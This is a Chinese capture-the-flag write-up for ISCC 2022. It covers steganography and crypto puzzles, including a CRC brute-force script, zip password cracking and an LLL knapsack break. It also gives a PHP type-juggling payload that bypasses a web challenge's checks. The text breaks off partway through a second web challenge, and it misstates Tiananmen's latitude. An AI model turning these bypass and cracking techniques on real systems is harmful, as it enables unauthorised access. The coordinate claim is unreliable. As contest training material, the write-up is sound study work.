ISCC 2022 WriteUp

发布于 2022-06-06  2289 次阅读


练武题

Misc

2022冬奥会

拿到附件,一个压缩包一个图。

file

压缩包带密码,图片有报错,猜测经过篡改,所以密码应该在图里。

file

随便来一手究极大的高,成功出来一串html编码。

file

冰墩墩的小伙伴经常被人冷落,你知道它的原型是什么吗?

解码得到冰墩墩的小伙伴经常被人冷落,你知道它的原型是什么吗?,那密码就是灯笼呗...

去解压得到一张图,打开又是报错。直接文本编辑得到flag。

file

ISCC{beij-dahb-1038}

单板小将苏翊鸣

拿到附件,一个压缩包一个图。

file

压缩包带密码,图片有报错,猜测经过篡改,所以密码应该在图里。

file

随便来一手究极大的高,成功出来一个二维码。

file

扫码得到u5728u8fd9u6b21u51acu5965u4f1au7684u821eu53f0u4e0auff0cu6211u56fdu5c0fu5c06u82cfu7fcau9e23u65a9u83b7u4e00u91d1u4e00u94f6uff0cu90a3u4f60u77e5u9053u6b64u6b21u51acu5965u4f1au6211u56fdu603bu5171u83b7u5f97u51e0u679au5956u724cu5417uff1fu53c8u5206u522bu662fu51e0u91d1u51e0u94f6u51e0u94dcu5462uff1f,解一下unicode得到在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?,去查一下今年冬奥情况,15奖,分别是9金4银2铜。所以密码大概是15942,打开压缩包成功得到flag。

ISCC{beij-dbxj-2015}

隐秘的信息

拿到附件,一个带密码的压缩包。

file

题目描述里给了个ZWFzeV90b19maW5kX3RoZV9mbGFn,直接base64解开得到easy_to_find_the_flag,当作密码解压得到一张图。

file

StegSolve打开发现RGB三个通道的开头都有东西。

file

复制出来弄了半天都是乱码,随手删掉开头3位111出来了flag。

file

file

ISCC{n4DdQtuSQdEYg8Gw5WpQ}

降维打击

拿到附件,就一个压缩包,里面翻了好几层文件夹就一张图。

file

拖进010发现文件尾后面还有文件,看着是两个png文件连一起了。

file

分离出来一个芝麻糊图片...

file

感觉像是在纯黑图片上面搞了lsb隐写,于是StegSolve走一波,因为图片数据走向明显是竖着的,所以选Column,在r0通道下发现数据,又是张png...

save bin得到一张鬼画符...

file

对照《魔女之旅》文字破解·印刷体得到flag(要大写,奶奶滴)。

ISCC{ZKVV-GAGJ-JKGN}

藏在星空中的诗-2

拿到附件,得到一个文本。

file

file

按照前导题的对照表替换一下得到:

QTTPUQTTEDQTTPDQTTPDQTTKBQTTDDQTT=HQTTDKQTTFFQTTETQTTPPQTTEKQTTFPQTT=BQTTEIQTTPIQTTPBQTTFPQTT=BQTTKH

发现没啥用...

但是使劲观察发现,所有都是QTT开头,那感觉是替换的东西错了,但是替换的思路是对的,于是在用对照表里unicode最后一位去替换得到:

F0049F0053F0043F0043F007BF0033F002DF0037F0066F0050F0044F0057F0064F002BF0051F0041F004BF0064F002BF007D

虽然F00打头也很奇怪,不过很明显就是十六进制了,提取下得到495343437B332D3766504457642B51414B642B7D转成文本得到flag。

ISCC{3-7fPDWd+QAKd+}

藏在星空中的诗-1

拿到附件,一个压缩包一个psd一个文本。

file

压缩包日常带密码,psd打开发现俩图层,直接来一手差值叠加,不过上面个图层不透明度是5%,得改回100%,成功拿到提示。

file

于是就是把文本里的5行星星按顺序串一起,大概就是压缩包密码。

☆✪٭☪✲☆★⚝🟌★✮🟇٭🟔🞱✡🟇⍟⍟✸⚝٭⚝✦🟌

不过这里不知道为什么bandizip7z都提示密码错误,只有winrar可以解压。

解压得到一个表格,看着应该是把星星转成字符就能拿到flag了,而且还很贴心地把unicode也给了,那就转呗。

5行分别为:

1. FLAG=
2. ISCC{
3. FEHRE
4. HAHJR
5. NSAZ}

所以就拿到flag了。

ISCC{FEHREHAHJRNSAZ}

套中套

拿到附件得到一个图片,一个带密码的压缩包。

file

图片打开经典报错,那就010打开看看,发现没有文件头。

file

补上文件头重新加载,发现文件尾有文本ZmxhZzI6IF9JU0NDX1pvMno=

file

解码得到flag2: _ISCC_Zo2z

但是图片打开还是报错,那就改个高度。

file

得到flag1: wELC0m3_

尝试用StegSolve打开,发现随手改的高度还不行,那就跑脚本重新算crc。

import binascii
import struct

def check(width, height, target_crc, data):
    crc32result = binascii.crc32(data[:4]+width+height+data[12:]) & 0xffffffff
    return crc32result == target_crc

def main(src):
    with open(src, "rb") as f:
        fr = f.read()
    data = fr[0x0c:0x1d]
    target_crc = int.from_bytes(fr[0x1d:0x21], "big")
    fake_width = int.from_bytes(data[4:8], "big")
    fake_height = int.from_bytes(data[8:12], "big")
    maxN = 4096

    for w in range(fake_width, fake_width+1):
        width = bytearray(struct.pack(">i", w))
        for h in range(fake_height, maxN):
            height = bytearray(struct.pack(">i", h))
            if check(width, height, target_crc, data):
                print(w, h)
        for h in range(0, fake_height):
            height = bytearray(struct.pack(">i", h))
            if check(width, height, target_crc, data):
                print(w, h)

    for w in range(0, fake_width):
        width = bytearray(struct.pack(">i", w))
        for h in range(fake_height, maxN):
            height = bytearray(struct.pack(">i", h))
            if check(width, height, target_crc, data):
                print(w, h)
        for h in range(0, fake_height):
            height = bytearray(struct.pack(">i", h))
            if check(width, height, target_crc, data):
                print(w, h)

    for w in range(fake_width+1, maxN):
        width = bytearray(struct.pack(">i", w))
        for h in range(fake_height, maxN):
            height = bytearray(struct.pack(">i", h))
            if check(width, height, target_crc, data):
                print(w, h)
        for h in range(0, fake_height):
            height = bytearray(struct.pack(">i", h))
            if check(width, height, target_crc, data):
                print(w, h)

if __name__ == "__main__":
    main(r"C:UserswkrDesktopiscc2022MISC套中套tzt.png")

得到宽高813x600

修复后用StegSolve打开发现b0通道有额外数据。

file

得到flag1: wELC0m3_T0_tH3

所以压缩包密码大概是wELC0m3_T0_tH3_ISCC_Zo2z了,解压得到:

file

经典的背包加密算法,直接拿现成的脚本解就完事了。

###Sage###
import binascii
# open the public key and strip the spaces so we have a decent array
pubKey = [2361188918648831928906359550557667287563066887652293139600931568804647593122789158889057379273203102714095368723486829220007843957299702280632913938657714835735447419766548281452574358564865, 97695931953557930263675268583559438180052046444272770882076992153522531150379800730152218528219863748352083511247114692326156738123840025817342720032558767067009024872169520175573435927522127, 94161802701514303137155919925434103505190576261481245635005112004440266320768712382606034619863740089506265121268470715570513135353653491777909675624371473779686758512531974737676175912194444, 72388042790962730214513100950983534061195975920318426720313887884798775187923388765866188835519243418533539746074612480849787106276448754913384081515928005244379644862256042397586723327181559, 90177429706714958016891783219091455169790237953297038374352164720800081687674213470450440148447640900448313040325737014453940820102116149718253679205695044484168813278421507077056312902891435, 69236766677899702219766926047255366274128239614438968873144156776042479922359303386783398645813351982470850776836903833702117083775755316953036074956145037647675758065450902007740670982191609, 16523191473871705203861844722305762439608208022438347221286930004451266572811795325368947564301273322973433893957928662278954790903459556695866971609918830328314524675377803839379110989854071, 72740310363040772109032127441087709969613222009573496573419938414413224814256797732366489602621757109106908834001614250756822600310235094801428168986825163974262204078837280420520269689696420, 104837406771693387451346694269094596404350347434785472433133862670590737873986215251596723070860143940329271567366432917640541576160968870617806597318956635642753368027327083214412553559887302, 75188740427531145246179847401935101396993326308714846372104763309870873076390655996370829941789514579506704521266387755643045865976646788734033738258995443456055736117901654259236081190788324, 57043910568706155300795399032530768957393630194372553376329100130746754040911176945304078046885429954063432153997914440971434140007616205036240052374572831476344156005398820523176184853708538, 108791925917554778499698927218042215830176138083994970711217823849679857052478070676228205754949965107152226308549018315304437205498001808822408921428866851808409467448329588278880398333962221, 73240579195557328769300859178215987941576031764171889147882410594103311890546300184145124865891457788738792783639169215298470188348081151947310717427166563509474418499327675301554590444254631, 65090885787787607753554350657548309172866533751865889154531412180490971412134439805187062069899834679300464707728348400154575390140606919627053758307519785654718271382812646933500545852470353, 83410703566191005452773445693151530211477884696149963292171183332488617795406105823153331002615296078554748207658004633561293261193302837321568855558637705401622440004916936440141537672211723, 107382848997671177061862361998886202132378405452699894903128712495790655370692095623767802488919769361646656425450442657465379301765213733748631010842675455156458574972230125566818473028360221, 99328726670959297537284026592406111418407395227433961339180699676350515844725709941434772860699908503839914593045913152712207880914571126478812614139027004210371864727939920055558229360081032, 67586587902292922032458196741470335397661849105661740348071989386411498430360223449656237087525760488028405467852131343738033693568732788634329738302034676638438656633242079752079977857432033, 56040252293996445289146290750223233001036895540951667668371283058995244028902061857760445231008839830849907319234013237328811870139231076353427026650137689233870464713570790877438862007366321, 6455762151174906193163685280722053747450571382910744005287658737942697064958269523252706019462534328291835339046991081072137296606661246944488929494616030858877103441853081543962653891562546, 90710584932311342492693223466629349607703492464724414146002644349984871467281630013412313000911055110186826869068521628868336973554090721213493250995926195286309024593599639059295406411716503, 30178126963177957287938108831253466288099756404783307342773996695585721611061316331360926245980025647750346657107702719605237244154617871020932821126704487238717005184021356674255699030396889, 63862416068682429588404735981951030654843661133887215291661272336006489271769297241924308972047004866581716531115432205620956257715662635178620783592918203845351685172420654877521130219025605, 67969944694327873717717007315929067188766705925687392268873925016133517270274258249763599515345574945280474745851360477808974576236142093098822378686249271204148878075450007887146894244070121, 55999419196921832324005656877806411664713180209441849484853628229648137250015884181415148433981223959823325938693580388711911313397075904336894373428215204440071805250576443685652492365552337, 48482447845152149042906102559639239840030421647187615086913481874901271966440823355559693932219590041758269223976406766825076513141923729371681379183198511994306408872783088934782656294011839, 90345170747459145179903251795385362304940943848707564938727573649402528481483707017352527548165168118179325938236480039515527803018254861005652388762270682428487632432185871805230990243786697, 26284672575276572096804457864792275978304739083158508616950137014886314835497348554928766711476809195633315138125924856535848040521546468726125891974067079198152073308302846563687983574679058, 69608992374739514026767698000670042124361334707568345512756702412754381449636124014277808962195203916042771638221383943103375068890092640205390488690539064748964575717109407015060025007610115, 68854609971736881986185523998901613599422450564070505762061655766491614604539213277784877470477861332243271735795966580865885613713296852924853583155856482867014229529782935570459945811343021, 98719543715731922824138869461899563361205075023683740708400643276016185822214252506437546550463147366420716873476063765273393337338495055046968546089098366585617068063896319909451288948620517, 107761582688221484648611728269614382095867005861926796316428839763658553800615106682296729081778683848765096532470233394064715954749789698554655571297105574843934169185743671252470421514400084, 40150067156576044582100395788761058859104936604616838512836698985034672893921141759155665434625144890844655760783630662989058141523440440971878283331995270099594707325059063844542036760352154, 65803033221003661280076861857641788280218775383475387796492522337415920201406708331858042362613081127327388957793597017644541856268577168100776649249372919572488815444896998229677219821290162, 68375930798906917706858688962365669463043107036008545654062625355034529887987291277246504435210928080063922659809351472105354091492638080074874772469712591329402291745658016109304987759172018, 64482106693034910450580539093399887897249048402984518733885698571275085954623034649273561279875355737504930350750734985260578024741978299216474160950162891328681800079497083677855775136160556, 105270998202729399460783073536841861597692719115045881646099898095591822141806935868742965474444491165618211518639273839011178501281045237339330536572053819654819964407720431691139197694335018, 54616449260703344877179925841378701089190875857500950954103512438558234629015941876574088968052779782468160315469769058360263119940886822826913768411905542940994581460119911823813720860994913, 29981651653015123338893656178745639724619645964492387550963850674714278731775641283035283017733733193947975430873563843401196461779272537825674687558124989806481285538516562932744681313859236, 103620943008178797338680004451168519345576474660353659899103847089455129093832613870225515422989354878900522522047549338690357107050816784974444702119657770600814510742930322516597074410026173, 63112722656282107038608302048900677827666979482535818114146430338276986954725612692836247644033605361222278374339035930517009676576189259733187068282092899449388604767835235592039388117531237, 16818878449711500486162188745226949465695302809878026354414499606309896880357954484874633945134827911999046845698152678781698052302053608856682767151479762165513844892517544714578486890759161, 10566572632079978864992744263563827979655404702390265925993845756995453818606097057965467395894168501338690601114909187563539876613891695808560370467236792979168480136972074337459451481331104, 89309679879925146947534756534115680970461283515597431162154014039086495773395722088799757224811699885715786165070385472581595925469331527448848537979429103449968856076714217235029102497771855, 93165232321630649667921080631808477806707425531782289040074119555150951252388628718787960436368551067329329655982483644144468965444149642163728754961216856566021477334332068267508085238491879, 68421058830260511524167000920567047819232226788267312559818029888140531000981181725328597088752451959068903055960226506420464411457896533989898001219169765997749871188711558204191290009666507, 73234147523304281215712879589663432325169821864888031882810723035652030995928778987159207273725579432472135074154733869624218730095188180606419942867633254487061113157953221882186965870602766, 34499911009904145032236237323430948920801558972937095137163968273208049249020734932954680295197218057825678071984975015723244015552329918221331143764438694067428488057374876535003866507082201, 94963989326447038835816573401892208124407739131193379830679996668417734426273976824169084665583483970544587101025912278158674328820163975860552359763506582637800039550380216688583882619264170, 49153927564432140382747762225216743718773572094128791743691632233897903177846674822435862664278041478593505973245004789287501424040572710922877135809087301521109784606904662402539677589948552, 102520818426340762039988532758997771658104724130545183410056330745452630668199147669827954151456026445640309636025337647257415806526861330493521148308008166313908944212973962986380040251317898, 74027867560599898643378595221802430854962932620157441405612012766645428297568582920071208666582642981981347208084822865585430944907971852044179198602802644270290177572985491861203524169354674, 17468509068241187698632490930839445842536173506722320091996248462371253366134550526914445765908344755998298780551041537851136146325614375415063659506174662902274429324364499785068633813094692, 34246040553061448809191530217324484354898494483265190238549436536409766269138035324388311091463141425527567840935996932981724689236964240658136804102883936084822578912848217605882955798852061, 58387507786138994906646551943384013409604771112740421190352995409829237253958634833418741879795608075236214389165884735471994601577948529992551336605577391644351626795444662807105464781659126, 88679700074802681853564815194441044303969960117243937877003296589495279992941852087902301652625122426881537105160176929116320263790253767823390161742551593694851854861536397944363622948261714, 101976699624664748524602620133168471596733841005444518649864282732052790068843421185235788393462366805558067670924507862216754871098532030760047493280730234592802603583124795248091086757117669, 30048237249441637009767347360710895560190789601801967814688554654243027451742146226335393219186363172887020514388621280985531847486816693060294598661973027710968886151332584081264851493418091, 1774956958183161119137323398388633554139320036370952052887168850513734186010745160079932862091878440065281081466606026682717672759983308525605092232270790086498967819677866353100551714431647, 109659914173669450509909214174083507068574826043987529247448126729799816220906025244035381037047713352578976905538717732574769348969304037553498595389459017419898201965019883686484618798558250, 103484686270378994031159899157317002987857677650115148801328070275533561185558031769506501074917886632349913056123553953458148547388590653689214391475998650973003017136691156070604310259358271, 63535708576482748170042509791823761280611649116678527907215299176305848307106253128321535524412002198464438943473584554291965758585049075121442315658630573724848709566009197832238293674962539, 63042491439968567186214152831564289459306659363264557627167554483408272829210565423886370383526159333081964223538593459384715135467597831354432260741085796411998591008673595408255799008503795, 18808209181034986950013628986248437962144798177590357609742723663635621057978096939418302737885696990899609866087194635318878829245196578606758783177866561512936430515259588628699827714244026, 77273091524229314385213794077625519901108857595419664871162739127357673361168112919067145771960561128896229771345290665235034580461613137149461157245727214240804253690762224356255852499269301, 58704889586891065882947815777708901898004984575698880243597136697870883081660485945918987604988889634724408460664517020625926974715500831614874167143149015784346683817362587341117542483454135, 1160878935829280493292996615582007064350006145065551160659801451201083607234061678686503617801189830771665165840806331493603374605802181727597671374634949678105336187446393528246457590895693, 53912288436087091608881718210522926782339338074431292100674146660209925286956561752682851572866438150057475810231315014703412366716712011829839686582415065534833901933600693545360967380555592, 13844780652878340091012525225532661620022470456689384460309518173164404816976749523734360831383021088089373307971193950727273329082804415809745192456851025765708407078649030306556997558754227, 100303727468280245116116516379070875557321901083753782296557607690653061479359098849803609595651219007796086990621190769148970765749572870728479275111122614584929226065448221878269721756576719, 72416073207587912258012035033460802477704096692034636624613241410935847253607885541886600734725349849501405589346955211751869350002320083721613764880500492074023588697105240353801110447069807, 100840140741559946947248897796519756758564659493587557333628098104856732255706955092310999850055251769933327671882992350569600809079188031596997896390135174200976582267719933660489466232644135, 94260711601041285835925193153333094894918560941974833355455396430294415227980995447115651242833854153044158291299265692631549744508059304762560678692799424594543324291714762583881998100079605, 17159841400772925081189441776640301955565558955589959437344061138554840771648477713516798369980953065403529095637693076758162172209090652661262444545974334315280279820009061211851789052388395, 1509234033892338754716082310077088726817860873188833375457048500933758134583123920359374516367314940276944807860043032794808043999533200308129048766979174956977919545243596499573256900070956, 57786520062387459898463382082392759112618559153416449132625858658111595084329048116040506230199184288587076391368357096326907256838516105406981018378065310458441609276825313831165992926775301, 58109056845667889782386329224242090382058114623695649273067314387410326062526385555068942894337601991494755536707919547063419928873747304518803165653452808954039154251917652205334375510278645, 50379663972750881496668287427249436210364864993021484510232284091073363950423918385220279714038940580006407952905203877605744374000084398964529616545046640886656858413317775665216225423306345, 69952710963448580251557318097046596634795166604356620709825705487215626840145684604974127953223480006157269156899565038862472839841679263329060094268710697017087505489989506145379217478596916, 105655387636774819867453658192975891793717903499370231264773254396586043335780563651470664958198844017954471160068095832283762176268623838381763941138538366067846985059435638429004678138517014, 38198306590797469098279286137650232807231030083390936861854928052707126878594990467430221431997281808405464657670774862680387271599648663089843455241636330204292589654565326844803725626965732, 30735612822372856532490441276950736887979658287169209120088366488641378975540841728000303361077025983493762081737096884198472685552609907988790546762378780734725014686190454604605997143925092, 52130019091582387366631620467704430370197389706557244132991324212078118438026906130764137305658107595740600777220569204919691093796592862027558669346778781128942554482046992844288457854128563, 109685816219580578722971376229113397596498420326569111134751959977187472285462267461552278314731562550064255618334970783277874295264592804156227182708030049997599797544299043099691799804474990, 56765721856737822672141268509420576236331926383563142014988437522604174891189356151781074398816327875161698757492532241125133573314757233196594264946707421972925908238360591405525407324405522, 67781505907264337480737654468922895027519738929130259246076743186551031143193571191483247545692963116246368116515483302442810100074261740846203623201904171639571459703644184857910844842722370, 27754820534655635800830766324483222146819914152239341349835878033218534363684566215225342791471948402723660529608397237497553914470879178965829878807817065729485159208170124583093334640166443, 98306127856013415327005363218066096720710958236975065309214900665649399026963354990636133255972524969383577654309733001925425177534591238635005167112112692211159514579293486264554838972841433, 6817119743755119225970726566048877369282568179701878860372482725315523151091867790442991695462189566776239122700579768401839513444876391924384340964932649938113468297947360717926902417408741, 79574552715679404400864754211603683171666758473882091454409631176417066276441284364812122339093408224614874594124537494840301183239329900740614122548743657341999072306367738555428166059975980, 91836416688639419282978301420120086410230428927194280342057865250997841356443013207141222739398386506658372814134509067853852300198318313082747843750318695706655845750939893834069344394466081, 54434026020064251373936960446542653179844012539209212205762817906227244675359469919852251467089673824108823831425102236120087950370622535989768173910794206224414864276637633956929615684731935, 40465710729167710716760873385724947310272881193233132834726967776683371023772956654190252349368550996655098204542524434651340248477641094950416284786089045363746669133393600315804177389200007, 108961477767946081585802333302959400779603364705224343000550979625539910173670849465183124700796529233349505128753283871014951853055671966389909522209058221862056928843703673490794471904462166, 18611593834335027606888397540358551171058807652205750663569416084624016997500058850339623006474553728863779271571520128698201513243995590648272504838396525128015415534400028827291784384698967, 51816069629941797324878463350299300071202687970580767595983274715227265055586898288702069402975500065162904525402422299318194689556922470590186885484105339348729153182772613919593360286922953, 66246757482876514975879701924866099640124584279010911186111987495170972335002751710236479956797585506079647046970803366251948691534020377914139817360221067124470144262627030505040795425414612, 13959851291579325270436960842444190164979648572769874277225884467001606066505565646999692121909276643145181414009488266765621271152058477853582548209564879032255033064675778082281772634184931, 26347408930569456254313344878293123268287643849859595547749306420853490898616033003344625647736460696488426231146319155667846118650941516979505815149792150086895607747262036599294881313592204, 73106076346658123874444692934761821906159304352379698624590309205298489008659553028198027175717990078371969023666482960824882148604214998844580399050167728103053102224013210215548251157068941, 77262746973225531655708237001960439749200176664387010107101820531251383197634735516928805713583838369028300401662636628455801543843581049492417633786249931672812269601206270007880300281475859, 7959049600500368140638699613501457328195297894118896999125315220024359570054676300935536175352042868982545963574842540726758513419927893191077409733810198711313225647894240088538959245453272, 37951800535882450723724558818265225750742241005283065432981675495560266697754078172731529283827939233059147373320589013170941301962349361329454987044598100594653896401340938730793021642656118, 106273784851332089380788210189136890139002276719637018907027872633283111597937770827931644340453219354790611966349600053830388505684146365408439171986851007112136163568396597491983975407867810, 22491052179351854785507382604241448848322245996190451047872029615155101380691473242327839550908917739976971478724081517761119536243778495810900094190892422647520980034857106036575723067768520, 85016178224896098701590303333817633081482643699966345444861594193811584084055804029255044503072550408792658437243443923777996655545224627071903539542449860008934944133712852358459679311956515, 13193588087664465457718615249564160245916489328067690070861308416028580350566892643545438480154269649278728377546675875871619735502094102966511860580117561695896436542445763791136681307815624, 69032139628205659748636569727493001459925705496177784842835056743618212943063490282050184095558872701726162244636422407515337361395332730654901289437121389161502783008270890212431589792043040, 47422197516625609693691526964553163886607277422344061508724298577319739065872910105016061083990242775220104429888909781411748546131501776119247137713131387723462480954346348623611687445320448, 64919873501310151384416395810354427252797526595710910547480460880113427936241426335690475868335533451910358209649919166754830391875240604368784475309575771955149654300433454444967991333923353, 109730846127557166039944025428821661370978501302835027888927162540183062415098608561209775627920927813124317579536492272815668817162556640912630571543675373584085667274739784302349801968622726, 27655884414496726230210852732444847177840759306454218333882287965071731935229301473676219200118365368989396952652040145515626374280529853310942533173340268501146780644885382118344418693397802, 17378910445937055288683655877760476355212893926197815159516836437528776673013010082291640470051969860994142884681550560651195178527987700752088170505622152700556029554736167188950018045931921, 79899219010110255664894256439756399629999969344259383782665333243412026179410609946625739865162205847061566800729912395307724042085231118412684706537487766745811025356960659286969093697924988, 35965216774785351080725997333132678578895346352888975064956723375995652451366261265561137893826021756707693405745070585868187547633700205455364019343414882481795042132202188465507498672723718, 66208225984250013614647014996354763264785353664698468866687728904418241739325244288180955462578706999898771234078140412927936904754636715866123622833152727508909012612800557702369512285706907, 80723498285117669834576307872925189151880352722119552288330822689265945755243945262560733614914375094701009973115985809292352778230203014485972255592904570243219451960021578827195775951738744, 34315788671663511307921610466897918254795857701992034346307321940713180798886629761257952655646156422939817067329526955860328355665219123491876169816982935822609109197489861230650796983358318, 9904107053915737282331879524665775557495287393053764115237601606253261449373423693928845850723889818147286959278393375141026217871088045447218461612977390889817382275708967269007936445314534, 61260530693690143223862709289574067297372306118125155560986710683995806446258755947858560066131045994041839216019470480795801447989165279401857808461561382832316094935097921428808455360995213, 9461104508901751333801549327428364106033825476539692214525835131350583858775794993778164601884866964854015156653482213441730551905155219632560963807066123999205258124671814841593634214729843, 79013498122311218331272278146291939864748292072738064920102302598528581419775467837769479585930637602686503500165926690222157750391442585271477239595572770459031033902544396473333094493291482, 70541109648133475940553350273664277280688208137603556465855990912661153636329275630363417234992156780052629214435311171152233640806440625374024226620691159283929196859803112371303095687659927, 84298488644887688286283029034237605164165575773255615675260190287921426725335117710869345753637490811772622275266638612054734952466467915743252867815674432335880306474216793475079215142070244, 57691436568754556200014833587855949804543381985310854121716708893035166290716267534852871047323680723423290164573069619476274428684535320835578838874890374459009614506944267113732608894212159, 103120861266880491387356247856233637918476910078289803279617419956864028187317456635341090734142825127326709763429221315515915285282760315913218449634385615167564001741020912117834768729512935, 108217642697478373097498012767946044033235407401306628711118941046516768607285175374610987481565267272949847444421091696464167071517959865216212679243489413926987359502047556825323449222231741, 96045626640467236586226288500498125391024935721146562726924144367910846919875353486123138026821542594127518583522785031718318937316871247417717004141780518029828944900823386767572954535049792, 7932104335583410752476336511896423352057330818534210243479387464619232768862256374983976076015299904547103348434262245099131411977024589146069684755008450072235148718415584210818393137137848, 66103472387021823382040979962113690549881236044170050567402017065437955105395900479762945528043237052681404933103160786816200939230118982116578924138660950825418939784005095771242999293072458, 20193444152839940442781148960061269088050029713093878447793958515726508854690670567881031159772843115231684413181445376485148838334302382176784252616663498796509748955296222794048415651903485, 54815885064051212070669684719720021579586574362650013569373989848418119175079352294140222103367577339117105639489567844587436321593007680755282171380755551123951605065032594225287233536382312, 101163082573150932363235737448856151112857305786336255760419018129550952010409257204855963641041780590603057326245796340207373240547292554190313403309904416324476503687788597749543064759194091, 71632639128163230540229466020702573377127208773060984923553538784899342290956855906407246317677752922569050381209552238719610294458690403061741960492694934337512876320375257029800021695448728, 77244132796410030608229546349888158641304686422572736700985121171090809279501861081600588827866109980594112071767003768390054078134330418053092329511268146543508553871014275074233370003193887, 95508326450158430451535572951010696584700841458509177304132555990346997452205201973074418516973141521680269558732965783085886297022082165379847064483084151745317300977923985252958409413706387, 12123410695226640215489612650882536153078520605849673612269522167401423202785780879351449294936407317879875881492576567226466550650502481314464582673598112926596538655288644878066270901040500, 51148127913507802006815867454756469346317798578765956484547255100874914607156868483255549316587197089177254118313420581592661073597249075677984121148715533540796563449318061023028454383160064, 72879707295191546228591202737204864313650848140996644420845849730480962907234318203507488667025390547128278510022286089273776695697239867068931697844386617535795331235281422194458872875992052, 48107573729644569028379584274089316749209415383840695942154131364710232466261395854007700643502853344620016351894132743765913414176336502031812345227190584669590910083743083760287599118106624, 93150565053192622521250184596721438353454241270878870427518055947423083771972501380916691691914120295193837190526484107437088826164079649468197203637317380504369176467864301472627015092245415, 75664999865442920222074610816654769156721312666281299651694620506802912993140253352572903750885726057422702820556637492473755835250732710676616071284650545597574636089116041051617300602124464, 33904264175211383548421961985599490222508896165333769243045645258243453314749476390607942669418223626279135660296284691799681864351079555880729468801600637284069467054860515192104639484735579, 68132074771313259873885776484860570545749317154691428722297934328873538729293173654430694529703728056855505824104475943935984712402280939320825782297282418510986189595312909848133021820023817, 102353225803113327696666721075809150898542834521690025556370078904604064203989464053093243044548304515223949691319199708629821811360680864217055731190600621949062724135540657746306307110565157, 60419559236154868005676753240177139040258424437422595140126301525209489801364454826590659433501957451498607372832802815035566628584732755904130222923017942260625098709926284733031973378276220, 103512863494891041031610017318488272151573102805967117209728574134073173131851223238497199256263852939291369710595924577913303794732107684289461743286383440276802611210539712838994975242223479, 56524801181718865564299853205883537076015960969010735705743305101517748501102350255844161821169232508434109584131930912035570041927235619606149875479154394064883640793728722963417211299932625, 27871059287077195516337468067986325439879404856870902520411872881835162711912711335168544912501612248974890430310994093237748115869083426881075943983078101109770533036820543483917856562952276, 6565896246664994189790788717794930917243090931845221131402467887353315604780011217371451804155865957663529113533755956226573150599778051100992783093584241740708402990391746295794585500223220, 81723289850916905665848796106370315063954773756430384492785198730359358601904751259603409437185781925988911084988946495174259165175761142511377829374489530900510945321408432678673602995313083, 43202516463556853457864096812956998329039794485932261498016813283520204128388365418710153851270757236075593551024816683074965526455960368666694276067088080246315551078430107366954577400958140, 79852961965589135100808075754186467670863128809071533532006593249284990769139759185927906129343940752225606104635754076054814536637027978940461648432305918206898166483248037665218484412028296, 70833523460697449037641033759175057712294948999885960548828848348487400616525570410553304856955667847617358132482006432535810328116219953955987872607266281117429664845162513567133395740952415, 31521518463871828646796153122724816028332518581261373007844339093862876973324908853065673908796384702540472352151540234373631766089229205140868963486078769396523387950308385614610501611496557, 93422831565061691992983678461215773217001978639447133405092138056506340181865427902759794992572924560034151068666881560622259030331041764346271216936654908653705112172758648151770970232484558, 54010463622666051748783883376050862658208926770080273690577888296476587158704307079950075130215615119628267466307552354374420205164336456775344785986170570368535518491231171134150351114071373, 58092399340175343286216752545111699151282144601273474463015674016164514974184990257220549279366138951383242729527964482007769506692420981579335065479074104771968589605470174033166194171132644, 59462882608354417206572206812823772926403946216351341153608701290217303811797695166090211286270189176719283485172573009254057134950839397432903258536768692064141789891190322207926186082000221]
nbit = len(pubKey)
# open the encoded message
encoded = "4823430239248650003530839279941052457392144719730416139664781457370579049606612452776175884076304167523993541264911665624792931007247886501165470499559923906806212066969866041384527961295017861"
print("start")
# create a large matrix of 0"s (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
    A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
    A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
    # print solution
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag:
        print(i, M)
        M = "".join(str(j) for j in M)
        # remove the last bit
        M = M[:-1]
        M = hex(int(M, 2))[2:]
        print(bytes.fromhex(M))

得到flag。

file

ISCC{kBJ1-U368-Woga}

真相只有一个

拿到压缩包发现三个一个图片,一个文本,一个不知道啥文件。

file

图片提取下lsb就能发现password 1998/xx/xx字样。

file

文本里面有好多空白字符。

file

最后一个文件打开发现开头有03 04,感觉是zip文件,于是修一下打开看看。

file

file

是个带密码的压缩包。

file

联想之前的password 1998/xx/xx,爆破一下密码看看。

file

file

在掩码是1998????时爆破出密码19981111,解压拿到一个流量包,打开发现是tftp流量。

file

直接导出,得到一个音频。

file

au打开看一下,结尾发现0/1音频区。

file

尝试用摩斯密码解码.. ... -.-. -.-. -- .. ... -.-. ,得到ISCCMISC

最后剩下文本里的空白字符,猜测是snow隐写,以isccmisc作为密码时成功得到flag。

file

ISCC{3roX-ZgtP-09Qt}

Web

冬奥会

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET["Information"]);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}

题目目的还挺清晰的,解析json,然后分别判断year字段和items字段,两个都绕过了就能拿到flag。

先看year字段,不满足is_numeric就行,其实本来还要满足==2022的,但是出题人少打了个等号,变成赋值去了,所以year只要是个字母啥的都行,预期的话应该是2022a这种。

然后看items字段,满足is_array,然后下标1也是满足is_array,并且items满足count===3,然后要能array_searchskiing,但是遍历又不能有skiing,那感觉[0,[],0]就能绕过,因为array_search在老版本里是用的==,懂的都懂,直接0==str了。

所以最后payload就是?Information={"year":"2022a", "items":[0,[],0]},成功拿到flag。

ISCC{W31com3_T0_Beijin9}

爱国敬业好青年-2

打开题目发现要输经纬度。

file

直接输一手天安门的经纬度25°33'N 116°23'E,然后:

file

提示了个假flag,那么刚才就感觉奇奇怪怪的输入框确实有问题。

